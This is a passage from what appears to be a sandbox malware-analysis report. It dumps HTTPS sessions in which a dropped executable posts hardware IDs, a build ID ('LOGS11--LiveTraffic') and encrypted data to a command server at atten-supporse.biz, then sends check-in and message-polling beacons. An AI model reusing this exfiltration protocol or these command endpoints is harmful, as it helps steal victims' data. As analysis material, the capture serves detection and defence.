cfL4;desc="?proto=TCP&rtt=1507&min_rtt=1491&rtt_var=592&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19119&delivery_rate=1796923&cwnd=208&unsent_bytes=0&cid=438e17f09464927b&ts=1264&x=0"
2024-11-29 19:07:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 19:07:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	50089	172.67.165.166	443	6692	C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:07:57 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FAOBP4H9GFFJWU2UR3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 567123 Host: atten-supporse.biz
2024-11-29 19:07:57 UTC	15331	OUT	Data Raw: 2d 2d 46 41 4f 42 50 34 48 39 47 46 46 4a 57 55 32 55 52 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 38 30 42 30 30 32 44 41 39 35 32 39 38 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 46 41 4f 42 50 34 48 39 47 46 46 4a 57 55 32 55 52 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 46 41 4f 42 50 34 48 39 47 46 46 4a 57 55 32 55 52 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --FAOBP4H9GFFJWU2UR3Content-Disposition: form-data; name="hwid"3BB80B002DA95298EFA3D63B69E7CA14--FAOBP4H9GFFJWU2UR3Content-Disposition: form-data; name="pid"1--FAOBP4H9GFFJWU2UR3Content-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-29 19:07:57 UTC	15331	OUT	Data Raw: 65 cd 71 bf ed 12 c9 30 6a 75 e3 c3 53 d8 7e bc b4 1e d6 46 09 fb d3 ac 21 26 82 d4 66 04 41 64 8e cd 5a f8 d1 29 d6 77 8f 63 94 99 84 81 27 71 4a 40 ca 9b ff fe 53 8b 90 0f e0 77 55 ac 30 95 58 29 cd 58 02 48 7a 12 16 4c 79 1c f6 0a b0 cd 14 c0 ef c2 6b 7d 87 71 48 46 6f 2b bc c6 18 3a 2f 49 c3 ef 26 bb 88 80 33 ea 58 18 c7 c5 ae 59 a3 43 15 b7 af ee e7 ba 6d 07 a9 41 8e ff 6f 95 92 e6 03 74 fb 5d c1 1d 34 a8 27 93 7b 82 80 d7 16 0e 16 a0 29 38 a7 85 85 97 98 b1 7b d2 4a 05 20 de 9f 0b 46 a9 c7 18 bc 05 43 db 36 4b 88 71 48 aa 57 18 5c 4a 4c 73 70 c3 81 06 79 5e 80 31 3a 66 7b 86 43 09 24 a7 02 53 b7 f3 8b 34 69 7e 9b 9f 93 c3 1e 7e 31 62 8a 76 4a 79 39 72 a1 e8 11 e3 f8 57 8b 53 2a bc 69 ad 38 6a 85 a9 ac c6 10 2c d3 53 84 d8 00 de 8f a2 62 4c c1 05 0c Data Ascii: eq0juS~F!&fAdZ)wc'qJ@SwU0X)XHzLyk}qHFo+:/I&3XYCmAot]4'{)8{J FC6KqHW\JLspy^1:f{C$S4i~~1bvJy9rWS*i8j,SbL
2024-11-29 19:07:57 UTC	15331	OUT	Data Raw: d6 e8 f5 17 21 0f 45 75 1c b7 f9 f7 65 dd 45 ef 4d db 29 45 90 f6 24 32 0f 4a 72 f3 45 54 4f a3 b9 57 12 7e df 12 cf 64 56 fd 72 55 d0 3f 2d 54 24 bc 58 18 d1 ac a6 13 51 54 89 90 bc 65 65 24 8d 7d 1c 69 63 e6 f4 6a 3a a3 fd d7 1a 34 87 b0 bc 51 50 0a fb a2 de 2a b7 49 c0 91 9b 0a 63 f9 13 11 2d 14 89 60 2f 09 da a9 07 b8 8e 17 08 2a 52 66 18 ec 95 8a 2c 31 5d cb 7c 34 6c 2a 46 ab 8c 4f 3f ab 5c 97 0c 11 20 ee e9 7e 97 df 44 37 99 82 85 62 b4 54 1f e2 e5 0a 5f 68 cc 7e 28 14 19 db 3d 69 08 7c 90 e8 37 75 4a 11 88 09 2a b9 a6 14 a3 83 ee 19 0c 17 9a fd 62 34 3d d8 b1 4e 2f b1 d8 df 79 9e 29 89 0e 17 e4 ed ab a7 ff a5 ea fa 3d 8e c2 30 28 e3 cc cd 19 f9 ad be 39 66 c9 19 90 46 f8 9d af c8 cd 75 33 88 70 ad 1d a1 5a df 1f 20 ef e9 ba 1e 41 b9 72 86 eb f2 06 Data Ascii: !EueEM)E$2JrETOW~dVrU?-T$XQTee$}icj:4QPIc-`/Rf,1]\|4lFO?\ ~D7bT_h~(=i\|7uJb4=N/y)=0(9fFu3pZ Ar
2024-11-29 19:07:57 UTC	15331	OUT	Data Raw: ab b4 41 cb d6 06 46 9a b0 7d 19 74 a5 d9 90 fc 5d 82 8a bc 1a 91 98 7e 37 68 12 7b bd b8 47 83 23 bc 73 94 e9 bc ab 3c 85 be 17 7b 0c 43 2d bd ba b7 68 a2 ea d0 48 71 83 f6 c9 41 84 b8 bb 77 80 ea 0b 5d 4e bf b7 0c 29 fa ea b7 27 25 b6 4b 5f ed a9 17 97 9e 5d 0d 03 b6 31 a8 39 b6 59 6b 5e 09 c0 50 7f df fd 78 e4 15 d3 a5 2f 38 03 75 a0 65 be 79 df a3 75 c2 d5 70 a5 d4 14 6f eb 60 94 ff ee da d4 5f 04 dd 14 41 f1 17 b1 03 be e0 8c cd 7f 45 93 a3 d7 3b ea 8c 72 96 26 9a ad b6 97 8a 3e 3a f1 92 a3 e5 77 97 d4 7c e2 9a ed 9c 0f bf 5e 78 ef bf 97 21 3b 2c 78 87 e2 f6 01 dd 8b fc fc 90 23 fd 80 f0 5f 2d 25 75 73 93 73 91 ea 1a ba 64 f7 f1 46 6f d4 92 c8 4d b4 c7 3d d7 24 a1 a4 06 3d 41 33 17 30 d6 a6 c6 54 ea f6 16 04 d7 96 60 e7 51 ea e6 71 19 3a 61 70 cb ef Data Ascii: AF}t]~7h{G#s<{C-hHqAw]N)'%K_]19Yk^Px/8ueyupo`_AE;r&>:w\|^x!;,x#_-%ussdFoM=$=A30T`Qq:ap
2024-11-29 19:07:57 UTC	15331	OUT	Data Raw: 5f 49 0d 5e f1 89 c4 78 98 5d 47 92 34 1c 79 30 7d 32 b9 91 78 14 d5 1b ce 46 05 ad 48 54 7d 78 ef b2 19 30 3d 8c 37 23 88 ef 76 05 84 96 35 6e 29 33 a4 1f 12 a7 17 33 79 13 36 d5 f7 e7 e2 e0 e6 41 1d e1 2e 5f ad d3 1c 1f 29 a3 f1 36 07 af 72 72 ce 82 d7 d0 c8 0b d5 a5 da e4 aa b2 24 74 ec 01 d5 11 0b 8e 4d f0 7e 67 17 79 b1 dd 3b 7b 5a 99 6e 0f b9 cd 9a 95 79 4f fe 1e 2b c9 80 57 05 6e 56 67 b8 e6 42 bc 65 44 2f c2 60 8e 0b fe 30 63 70 73 2f 42 08 18 4d e4 42 75 44 a0 f7 fa 0c 1f 71 70 5c cd 66 07 f2 3c 94 de 10 f5 bf 32 69 8b 0c 0a b8 ed 35 e9 54 74 1f 09 3e dc cb 6c e2 01 43 14 c7 51 6b 55 17 8c f0 ce bb f7 9f 0e bf d7 36 f5 d7 92 74 b8 7f 44 d2 e6 9e ca 7b 65 73 52 ba 1f fa ef 03 5a d3 c2 c9 84 15 88 e1 9f 48 e5 fb ff bf 92 1b 92 a0 74 8c 07 ce 03 8b Data Ascii: _I^x]G4y0}2xFHT}x0=7#v5n)33y6A._)6rr$tM~gy;{ZnyO+WnVgBeD/`0cps/BMBuDqp\f<2i5Tt>lCQkU6tD{esRZHt
2024-11-29 19:07:57 UTC	15331	OUT	Data Raw: 97 85 63 27 d4 40 37 c6 14 98 c2 3a 2f 5a 6c 11 37 f4 30 5a a9 d9 b3 e0 59 7d ad f8 66 cd e6 0a 59 09 43 81 20 33 e4 94 62 a3 a5 67 76 a4 6c 29 40 f7 f6 f0 9a f6 92 ed ad c4 0a e1 06 41 4a 93 1b df cb 89 b3 9d 93 4b 6b 43 36 6e 15 f3 eb cc 22 e4 9c ea 24 84 9b ca 91 15 16 8d 9f 97 6b b0 d5 f2 85 2e f6 84 02 b9 67 51 85 a4 46 03 03 5f 81 1f 07 5b 02 a9 ea ca ad de da b5 09 50 bc f7 b6 cf b3 34 2d 64 60 c1 f6 ab 1d b5 22 d6 32 8c 00 c4 ae 5a 67 94 72 b8 3e c7 b6 8b 63 4a bf 10 06 04 dd 18 bb c7 d7 73 ff c8 dd ad 49 a7 7a c5 ee 22 67 8f b6 64 a1 12 95 68 43 31 fb f1 be cb 1f 8d 6c be e9 7b 16 08 1a 6a 34 85 6d f1 85 9d 6e e3 2b ce 37 9c 75 8c ed ad d8 7e f0 23 c8 f0 87 d0 39 67 d9 5f 75 89 cf a0 df 25 d8 dc ca 44 0c 01 3c 18 2a a0 b7 b6 0d ca db 72 7f b8 42 Data Ascii: c'@7:/Zl70ZY}fYC 3bgvl)@AJKkC6n"$k.gQF_[P4-d`"2Zgr>cJsIz"gdhC1l{j4mn+7u~#9g_u%D<*rB
2024-11-29 19:07:57 UTC	15331	OUT	Data Raw: c1 4a d1 1b 89 00 1f 50 89 bd c9 88 9c bb 24 5f b0 3c 54 ca fe 84 d0 38 31 aa 82 de f6 99 90 1d af 97 c0 1e da e4 ae d7 49 15 16 cb 7d 51 ca fe b1 66 82 cb b9 40 86 88 c5 6c 24 f2 10 46 96 b7 59 d6 2e 64 7a fd 67 39 45 4e 94 bc ab eb 39 ab e4 ff 6b ab f8 89 93 45 c0 d7 3b 87 f3 e2 aa 3c de ec 6b 0b 8c d3 ed fb 86 c4 bb 73 df aa b2 86 25 9a 60 17 4e 95 20 23 05 41 1e 3a b0 ba 34 23 29 8d 13 84 dc 40 9d db 4c 41 ea 6e 36 6c a2 dc e1 56 d5 43 d1 1f 17 01 61 d5 3b 08 dc c2 c9 cc 66 4e 70 a0 4a fe b7 65 af 6c 7c f4 92 01 d7 ee 2c 0f c9 7a 99 fa d7 bf 3e 7e 84 fc b1 33 3e 1b 48 10 ef bd 81 5b c4 21 cb 6f 39 a6 b9 cf 95 c4 57 e3 15 ad 68 49 8c f5 9f 99 f8 c8 27 9b a1 29 88 e4 db 2c cc e6 b8 2d 69 28 a1 40 1b 09 37 1f b0 22 4d d0 59 b9 b3 5a fa 6d 3e 9a f5 33 4a Data Ascii: JP$_<T81I}Qf@l$FY.dzg9EN9kE;<ks%`N #A:4#)@LAn6lVCa;fNpJel\|,z>~3>H[!o9WhI'),-i(@7"MYZm>3J
2024-11-29 19:07:57 UTC	15331	OUT	Data Raw: 60 7f ce 66 02 6d 60 54 96 1f 6f 16 87 b5 ff 26 5c bf 1c cb 3d 7b 00 7b 01 b1 91 30 75 05 7f 0d e5 87 b4 29 98 c9 a2 e3 45 86 51 20 bb 2f e1 21 a5 1e 56 e2 07 d6 46 cc ba 3b 48 82 ee 3b d4 9f 44 42 88 1c 62 de 89 7a 20 60 0e 5e 37 9c bf 16 0a 13 9e 87 e8 f3 27 2e 0e 55 38 8c e6 a5 13 44 34 19 0a e9 8a af c9 09 9e a6 b0 69 3d 5c 26 d5 45 e5 be 9b b6 b9 18 86 81 09 64 67 be 5f ed ff 6d 4f 6b d1 cb fc 91 b0 09 78 0e cc 3d 47 c1 b2 f3 67 c6 5f 60 61 3e 1c ef a2 34 b6 73 7c 62 ce 95 6d 3f 10 69 40 d4 46 99 89 f5 15 dd b0 af 75 51 4a 9f 1b 4f 31 bb a0 78 49 29 c3 60 4e bd cd 35 d6 be 86 28 1f aa 77 49 30 9e cc 0f 78 05 d6 63 ab 8e ba d6 77 9a 35 8d ef 0f 71 94 0a 40 62 56 f9 8a 7a e9 0f 3c fd 49 d8 eb fb 16 bd a1 64 64 77 6a 5c 4b 0d ef 89 68 a0 d9 7c 1a fc 56 Data Ascii: `fm`To&\={{0u)EQ /!VF;H;DBbz `^7'.U8D4i=\&Edg_mOkx=Gg_`a>4s\|bm?i@FuQJO1xI)`N5(wI0xcw5q@bVz<Iddwj\Kh\|V
2024-11-29 19:07:57 UTC	15331	OUT	Data Raw: dc b8 ea db 47 93 89 7a 85 bf 6e ea 56 2c 29 e8 8e 64 fb 0f 34 fd bc f3 49 db 31 2c 86 e0 ea 47 49 d6 c7 8f bb 24 13 4b f7 75 fd ce 1f 7f 86 2e 61 ba af 9f f4 ed 89 2a d4 bc 48 dc df 03 e8 83 99 08 2d 09 62 e6 cb 82 aa cb fb 01 fc 2f 2f 88 36 98 74 af cc 59 7b 99 d8 42 d6 c6 72 1d 50 df 35 79 04 b6 9b 39 cc 48 81 ab bb 4d e5 21 52 3c 1c 84 2c 13 ce b0 74 1f 4d 86 5f 93 79 31 76 41 12 4b 9c e2 eb f8 95 e0 b7 20 dc 4a 40 44 ba f9 79 cc 3f 50 e1 ce ed a9 50 ef 74 e8 58 82 2c b3 71 9d 26 82 df 25 0b bf 03 28 b7 a1 a4 d8 ad 83 cf 43 88 f8 1b 8c 8b c9 b6 b3 dd 45 c3 7a 6c 19 61 21 37 ee c1 6b a3 05 c2 51 2a 9d 80 3b 31 17 7e 94 00 6b 19 fe 9a 63 72 5e e9 b4 35 44 4b 88 0a 41 ca 1b 81 3a 54 61 82 08 9d b0 ef 52 fd 03 88 1f e2 e3 17 94 f8 56 73 e0 51 ac fc d3 4f Data Ascii: GznV,)d4I1,GI$Ku.aH-b//6tY{BrP5y9HM!R<,tM_y1vAK J@Dy?PPtX,q&%(CEzla!7kQ;1~kcr^5DKA:TaRVsQO
2024-11-29 19:07:57 UTC	15331	OUT	Data Raw: 41 d3 cb 43 bc 4c ad 66 b1 8a 4b 17 ca ae 8d de ff 96 71 5d da 96 7a ad bd 18 70 3d 1c 03 7c 26 fb 5c 42 28 c1 9c e7 eb fd e4 fa 08 b5 54 a5 c3 da d2 ca 75 5a e3 e5 cc df 4f ce 85 b6 ef 0b e0 1c 35 5b f1 42 6c 00 f6 d1 16 e9 fe ff 00 65 f6 b9 d6 a3 42 63 90 6e ce d8 d0 db ff 74 fb 38 6c 7c 17 d4 2d c8 e6 9f ab be 7f f8 96 04 61 bb 51 00 b7 17 22 f3 43 19 7b a2 87 62 f3 8d ec 50 30 1c 66 bb 7b 9b a5 3f 67 dd fa 19 5c 1f c2 cb 9d c2 b2 0b b2 8f ee 97 66 de 6a 50 b3 39 8d ac 6d 8c fb fe d2 37 c7 4b 01 ec c1 73 02 22 ab 16 63 a4 4e 3a f9 72 3f 34 bb 3a c8 d2 8a 26 2c f8 c9 e2 9c c7 5f cd 6f 03 fc 04 e2 af 11 62 10 2e 18 b7 f5 eb d9 a5 d1 24 11 8a 2f 64 ee 98 9f 81 90 79 58 2f ba 43 b0 29 4b eb 10 38 6c 9d 5e 5b 63 b4 1a 98 d6 84 36 2d c5 f0 d3 1b 79 28 e6 26 Data Ascii: ACLfKq]zp=\|&\B(TuZO5[BleBcnt8l\|-aQ"C{bP0f{?g\fjP9m7Ks"cN:r?4:&,_ob.$/dyX/C)K8l^[c6-y(&
2024-11-29 19:08:03 UTC	1029	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:08:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ac0988e546r4gk1g09ub09f9gt; expires=Tue, 25-Mar-2025 12:54:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8RjL7sI%2B%2FVTbG4oYiE7yI8P1OKaSO7OGDTIF4Uq4GUgVSE%2B%2FHlEeWkVnTo%2FmNysREAJpNwMiH62BCpe2CpUkPpPXt%2FemYozPmo6XtieR1Zl51eQaK84cRAYgKis99nbECRjYlbU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e233ea081a1f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1999&min_rtt=1997&rtt_var=753&sent=298&recv=588&lost=0&retrans=0&sent_bytes=2846&recv_bytes=569650&delivery_rate=1448412&cwnd=228&unsent_bytes=0&cid=8620b2a17f44a06e&ts=6715&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	50092	172.67.165.166	443	3288	C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:07:58 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0P1352XPSZS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8748 Host: atten-supporse.biz
2024-11-29 19:07:58 UTC	8748	OUT	Data Raw: 2d 2d 30 50 31 33 35 32 58 50 53 5a 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 38 30 42 30 30 32 44 41 39 35 32 39 38 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 30 50 31 33 35 32 58 50 53 5a 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 50 31 33 35 32 58 50 53 5a 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 30 50 31 33 35 32 58 50 53 5a 53 Data Ascii: --0P1352XPSZSContent-Disposition: form-data; name="hwid"3BB80B002DA95298EFA3D63B69E7CA14--0P1352XPSZSContent-Disposition: form-data; name="pid"2--0P1352XPSZSContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--0P1352XPSZS
2024-11-29 19:07:59 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:07:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=15ic0mkk9l2jud2pm8dho04piu; expires=Tue, 25-Mar-2025 12:54:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pv0p0ggxyduIskfiHHPaWSKcgJszChoJo5rGji1VFV0RN6KUdNOJSlAnl6pz%2Bcjl8TSp3qBXC7tqZ2uP7yDhEnqeVvHTpjD66H6%2FZrHAN%2FzRxBaZEHATnHu%2BN3ic4bwjOrYfq3s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e2398d6e7293-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1837&min_rtt=1837&rtt_var=689&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2847&recv_bytes=9682&delivery_rate=1589548&cwnd=158&unsent_bytes=0&cid=edb44157b0d1c457&ts=1063&x=0"
2024-11-29 19:07:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 19:07:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	50095	172.67.165.166	443	3288	C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:08:01 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4T5ETUETS3DOI5HDSJ8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20449 Host: atten-supporse.biz
2024-11-29 19:08:01 UTC	15331	OUT	Data Raw: 2d 2d 34 54 35 45 54 55 45 54 53 33 44 4f 49 35 48 44 53 4a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 38 30 42 30 30 32 44 41 39 35 32 39 38 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 34 54 35 45 54 55 45 54 53 33 44 4f 49 35 48 44 53 4a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 34 54 35 45 54 55 45 54 53 33 44 4f 49 35 48 44 53 4a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --4T5ETUETS3DOI5HDSJ8Content-Disposition: form-data; name="hwid"3BB80B002DA95298EFA3D63B69E7CA14--4T5ETUETS3DOI5HDSJ8Content-Disposition: form-data; name="pid"3--4T5ETUETS3DOI5HDSJ8Content-Disposition: form-data; name="lid"LOGS11--Li
2024-11-29 19:08:01 UTC	5118	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~
2024-11-29 19:08:02 UTC	1028	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:08:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1k3pca11bkog84p50rjar3f6ff; expires=Tue, 25-Mar-2025 12:54:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VKf7G%2Blv787z0dGnRUSxz3R231f%2BWw7QMzf2hCFhfuFoCqVVL1wZthD4XuxMJF3H0SgED1u%2Ba8xDOq%2FDb%2BxeNboQUU3FHqDyCrpSn%2F2wDnCJnebUCf73wD%2Bw7sOM5ffTLhZ1ot4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e24dba760fa0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1514&min_rtt=1512&rtt_var=571&sent=17&recv=27&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21414&delivery_rate=1908496&cwnd=206&unsent_bytes=0&cid=cbe1b38e82f27795&ts=1135&x=0"
2024-11-29 19:08:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 19:08:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	50104	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:08:17 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-11-29 19:08:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-29 19:08:18 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:08:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7i64r0i5377a60fn9v8u6kc9q9; expires=Tue, 25-Mar-2025 12:54:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bhun7gK%2Bsmemt6GcZCXPz84mHLCE28mxKLO8joAIKHgCGCr0imeYZ3zTW%2B0pPW%2Ftpj6nHLGBW%2BZ%2Fq1xGJnb5S7z1quQHFjTo8T2%2Fg4LXBnExuE3GXaZMTjoAnHhKb5k%2F1jFi6uE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e2b3df287d05-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2006&min_rtt=1997&rtt_var=767&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1409946&cwnd=188&unsent_bytes=0&cid=51751c33df0275ce&ts=839&x=0"
2024-11-29 19:08:18 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-29 19:08:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	50105	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:08:26 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-11-29 19:08:26 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
